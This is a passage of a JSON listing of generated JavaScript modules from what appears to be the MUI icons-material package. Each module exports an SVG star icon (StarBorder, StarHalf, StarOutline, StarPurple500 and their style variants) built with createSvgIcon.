    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarBorderPurple500Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarBorderPurple500TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L12 14.79l-2.42 1.84.93-3.01L8.24 12h2.82zM12 2l-2.42 8H2l6.17 4.41L5.83 22 12 17.31 18.18 22l-2.35-7.59L22 10h-7.58z\"\n}), 'StarBorderPurple500TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarBorderPurple500TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L12 14.79l-2.42 1.84.93-3.01L8.24 12h2.82zM12 2l-2.42 8H2l6.17 4.41L5.83 22 12 17.31 18.18 22l-2.35-7.59L22 10h-7.58z\"\n}), 'StarBorderPurple500TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarBorderRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.65 9.04-4.84-.42-1.89-4.45c-.34-.81-1.5-.81-1.84 0L9.19 8.63l-4.83.41c-.88.07-1.24 1.17-.57 1.75l3.67 3.18-1.1 4.72c-.2.86.73 1.54 1.49 1.08l4.15-2.5 4.15 2.51c.76.46 1.69-.22 1.49-1.08l-1.1-4.73 3.67-3.18c.67-.58.32-1.68-.56-1.75M12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarBorderRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarBorderRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.65 9.04-4.84-.42-1.89-4.45c-.34-.81-1.5-.81-1.84 0L9.19 8.63l-4.83.41c-.88.07-1.24 1.17-.57 1.75l3.67 3.18-1.1 4.72c-.2.86.73 1.54 1.49 1.08l4.15-2.5 4.15 2.51c.76.46 1.69-.22 1.49-1.08l-1.1-4.73 3.67-3.18c.67-.58.32-1.68-.56-1.75M12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarBorderRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarBorderSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarBorderSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarBorderSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarBorderSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarBorderTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarBorderTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarBorderTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarBorderTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarHalf.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4V6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarHalf');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarHalf.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4V6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarHalf');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarHalfOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4V6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarHalfOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarHalfOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4V6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarHalfOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarHalfRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.65 9.04-4.84-.42-1.89-4.45c-.34-.81-1.5-.81-1.84 0L9.19 8.63l-4.83.41c-.88.07-1.24 1.17-.57 1.75l3.67 3.18-1.1 4.72c-.2.86.73 1.54 1.49 1.08l4.15-2.5 4.15 2.51c.76.46 1.69-.22 1.49-1.08l-1.1-4.73 3.67-3.18c.67-.58.32-1.68-.56-1.75M12 15.4V6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarHalfRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarHalfRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.65 9.04-4.84-.42-1.89-4.45c-.34-.81-1.5-.81-1.84 0L9.19 8.63l-4.83.41c-.88.07-1.24 1.17-.57 1.75l3.67 3.18-1.1 4.72c-.2.86.73 1.54 1.49 1.08l4.15-2.5 4.15 2.51c.76.46 1.69-.22 1.49-1.08l-1.1-4.73 3.67-3.18c.67-.58.32-1.68-.56-1.75M12 15.4V6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarHalfRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarHalfSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4V6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarHalfSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarHalfSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4V6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarHalfSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarHalfTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4V6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarHalfTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarHalfTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4V6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarHalfTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarOutline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarOutline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarOutlineOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarOutlineOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarOutlineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.65 9.04-4.84-.42-1.89-4.45c-.34-.81-1.5-.81-1.84 0L9.19 8.63l-4.83.41c-.88.07-1.24 1.17-.57 1.75l3.67 3.18-1.1 4.72c-.2.86.73 1.54 1.49 1.08l4.15-2.5 4.15 2.51c.76.46 1.69-.22 1.49-1.08l-1.1-4.73 3.67-3.18c.67-.58.32-1.68-.56-1.75M12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarOutlineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.65 9.04-4.84-.42-1.89-4.45c-.34-.81-1.5-.81-1.84 0L9.19 8.63l-4.83.41c-.88.07-1.24 1.17-.57 1.75l3.67 3.18-1.1 4.72c-.2.86.73 1.54 1.49 1.08l4.15-2.5 4.15 2.51c.76.46 1.69-.22 1.49-1.08l-1.1-4.73 3.67-3.18c.67-.58.32-1.68-.56-1.75M12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarOutlineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarOutlineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarOutlineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarOutlineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17.27 18.18 21l-1.64-7.03L22 9.24l-7.19-.61L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21z\"\n}), 'StarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17.27 18.18 21l-1.64-7.03L22 9.24l-7.19-.61L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21z\"\n}), 'StarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarPurple500.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L12 14.79l-2.42 1.84.93-3.01L8.24 12h2.82zM12 2l-2.42 8H2l6.17 4.41L5.83 22 12 17.31 18.18 22l-2.35-7.59L22 10h-7.58z\"\n}), 'StarPurple500');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarPurple500.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L12 14.79l-2.42 1.84.93-3.01L8.24 12h2.82zM12 2l-2.42 8H2l6.17 4.41L5.83 22 12 17.31 18.18 22l-2.35-7.59L22 10h-7.58z\"\n}), 'StarPurple500');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarPurple500Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17.27 18.18 21l-1.64-7.03L22 9.24l-7.19-.61L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21z\"\n}), 'StarPurple500Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarPurple500Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17.27 18.18 21l-1.64-7.03L22 9.24l-7.19-.61L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21z\"\n}), 'StarPurple500Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarPurple500Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L12 14.79l-2.42 1.84.93-3.01L8.24 12h2.82zM9.58 10H5.12c-.97 0-1.37 1.25-.58 1.81l3.64 2.6-1.43 4.61c-.29.93.79 1.68 1.56 1.09l3.69-2.8 3.69 2.81c.77.59 1.85-.16 1.56-1.09l-1.43-4.61 3.64-2.6c.79-.57.39-1.81-.58-1.81h-4.46l-1.47-4.84c-.29-.95-1.63-.95-1.91 0z\"\n}), 'StarPurple500Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarPurple500Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L12 14.79l-2.42 1.84.93-3.01L8.24 12h2.82zM9.58 10H5.12c-.97 0-1.37 1.25-.58 1.81l3.64 2.6-1.43 4.61c-.29.93.79 1.68 1.56 1.09l3.69-2.8 3.69 2.81c.77.59 1.85-.16 1.56-1.09l-1.43-4.61 3.64-2.6c.79-.57.39-1.81-.58-1.81h-4.46l-1.47-4.84c-.29-.95-1.63-.95-1.91 0z\"\n}), 'StarPurple500Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarPurple500Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17.27 18.18 21l-1.64-7.03L22 9.24l-7.19-.61L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21z\"\n}), 'StarPurple500Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarPurple500Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17.27 18.18 21l-1.64-7.03L22 9.24l-7.19-.61L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21z\"\n}), 'StarPurple500Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarPurple500TwoTone.js",
